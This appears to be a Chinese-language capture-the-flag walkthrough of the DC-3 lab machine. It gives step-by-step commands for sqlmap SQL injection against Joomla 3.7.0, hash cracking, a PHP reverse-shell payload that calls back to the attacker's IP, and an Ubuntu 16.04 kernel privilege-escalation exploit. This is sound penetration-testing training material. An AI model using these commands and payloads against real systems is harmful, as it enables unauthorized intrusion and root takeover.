news 2026/6/23 19:15:18

从Joomla SQLi到Ubuntu提权:DC-3靶机渗透实战复盘

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从Joomla SQLi到Ubuntu提权:DC-3靶机渗透实战复盘

1. 靶机渗透测试概述

渗透测试就像一场数字世界的探险游戏,安全研究员们通过模拟黑客攻击的方式,在合法授权的环境中寻找系统漏洞。DC-3靶机就是这样一个专门设计的"训练场",它模拟了一个运行Joomla CMS的Ubuntu系统,隐藏着从Web漏洞到系统提权的完整攻击链。

我第一次接触DC-3靶机时,就被它精巧的设计所吸引。整个渗透过程就像剥洋葱一样,需要一层层突破防线:先通过Web应用漏洞获取初步访问权限,再逐步提升到系统最高权限。这种实战演练对于理解现代网络攻击的完整链条特别有帮助,尤其是Joomla这种仍在广泛使用的内容管理系统。

2. 环境准备与初始侦察

2.1 实验环境搭建

在开始之前,我们需要准备好实验环境。我的配置如下:

  • 攻击机:Kali Linux 2023.1 (IP: 192.168.10.137)
  • 靶机:DC-3 (IP: 192.168.10.133)
  • 网络模式:桥接(确保两台机器在同一网段)

这里有个小技巧:如果发现两台机器无法ping通,记得检查虚拟机的网络适配器设置。我刚开始就犯过这个错误,折腾了半天才发现是网络模式选错了。

2.2 基础信息收集

使用netdiscover快速扫描局域网:

netdiscover -r 192.168.10.0/24

发现靶机IP后,用nmap进行详细扫描:

nmap -sS -sV -T4 -O -A 192.168.10.133

扫描结果显示靶机只开放了80端口,运行着HTTP服务。访问网页后发现是Joomla建站系统,这给了我们明确的方向。

3. Joomla漏洞挖掘与利用

3.1 CMS指纹识别

使用whatweb确认CMS信息:

whatweb http://192.168.10.133

输出显示确实是Joomla系统。接着用dirsearch扫描目录:

dirsearch -u http://192.168.10.133/ -X 404 502 403

发现了后台登录页面(/administrator),但尝试常用弱口令无果。这时候就需要更深入的漏洞挖掘了。

3.2 SQL注入漏洞利用

使用joomscan进行自动化扫描:

joomscan -u 192.168.10.133

确认版本为Joomla 3.7.0后,searchsploit搜索已知漏洞:

searchsploit Joomla 3.7.0

发现了一个SQL注入漏洞(42033.txt)。按照漏洞说明,使用sqlmap进行利用:

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

逐步获取数据库信息后,最终提取出管理员凭据:

sqlmap -u "http://192.168.10.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password,username" --dump -p list[fullordering]

3.3 密码破解与后台登录

获取到的密码哈希使用john破解:

john --format=bcrypt /root/passhash.txt

成功破解出明文密码"snoopy",登录后台后发现了文件上传功能。

4. 获取Webshell与提权

4.1 文件上传漏洞利用

在模板管理页面找到上传点,创建包含以下代码的PHP文件:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.10.137/4444 0>&1'"); ?>

同时在Kali上启动监听:

nc -lvp 4444

访问上传的shell.php文件后,成功获得反向shell。

4.2 交互式Shell建立

原始shell功能有限,使用Python升级:

python -c 'import pty;pty.spawn("/bin/bash")'

4.3 本地提权攻击

查看系统版本:

cat /etc/issue

发现是Ubuntu 16.04,搜索相关漏洞:

searchsploit Ubuntu 16.04

找到ebpf_mapfd_doubleput提权漏洞(39772),下载并编译exp:

wget https://example.com/39772.zip unzip 39772.zip cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput

成功获取root权限后,在/root目录下找到flag文件。

5. 渗透测试经验总结

这次DC-3靶机渗透过程中有几个关键点值得注意:首先是信息收集要全面,从CMS版本识别到目录扫描,每一步都为后续攻击奠定基础;其次是工具链的灵活运用,从joomscan到sqlmap再到searchsploit,熟练掌握这些工具能极大提高效率;最后是提权思路要开阔,当常规方法失效时,考虑系统层面的漏洞往往能柳暗花明。

在实际操作中,我遇到过几个坑:一是sqlmap注入时忘记加--random-agent参数导致被WAF拦截;二是文件上传后忘记确认路径导致无法访问;三是提权exp编译时缺少依赖。这些问题都需要耐心调试,也是渗透测试的必经之路。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 19:45:28

SAP顾问实战:给MB51报表加供应商名称和原因代码,完整隐式增强教程

SAP顾问实战&#xff1a;MB51报表增强之供应商与原因代码集成指南 在SAP项目实施过程中&#xff0c;业务用户对标准报表的抱怨几乎成为每个顾问的日常。"为什么不能在一个报表里看到所有信息&#xff1f;"——MB51物料凭证清单作为物料移动的核心查询工具&#xff0c…

作者头像 李华
网站建设 2026/6/23 19:15:52

跨越EDA鸿沟:从ADS射频版图到AD高效PCB设计的无缝转换实战

1. 射频工程师的跨平台设计痛点 作为一名在射频领域摸爬滚打多年的工程师&#xff0c;我太理解同行们面对不同EDA工具时的无奈了。记得去年做5G微基站项目时&#xff0c;团队在ADS里精心设计了毫米波天线阵列的版图&#xff0c;但转到PCB设计阶段却遭遇了"水土不服"—…

作者头像 李华
网站建设 2026/6/23 19:15:16

用几个小例子,彻底搞懂Verilog里的“强度(Strength)”到底是个啥

用几个小例子&#xff0c;彻底搞懂Verilog里的“强度&#xff08;Strength&#xff09;”到底是个啥 第一次接触Verilog的强度概念时&#xff0c;我盯着仿真波形里那些莫名其妙的信号冲突结果发呆了整整一个下午。为什么两个信号"线与"后会出现这种结果&#xff1f;为…

作者头像 李华
网站建设 2026/6/23 19:15:35

LLM在意图驱动网络管理中的应用与优化

1. 项目概述&#xff1a;LLM如何重塑意图驱动网络管理在5G/6G网络架构快速演进的今天&#xff0c;网络管理面临两大核心矛盾&#xff1a;一方面&#xff0c;网络切片、边缘计算等新技术引入使得配置复杂度呈指数级增长&#xff1b;另一方面&#xff0c;企业用户对"零接触&…

作者头像 李华
网站建设 2026/6/23 19:15:35

稀疏注意力机制优化与多维布局实践

1. 稀疏注意力机制的核心挑战与优化方向在Transformer架构中&#xff0c;注意力机制的计算复杂度随着序列长度的增加呈平方级增长&#xff0c;这成为处理长序列或多维数据&#xff08;如图像、视频&#xff09;时的主要瓶颈。传统密集注意力需要计算所有查询-键值对的关系&…

作者头像 李华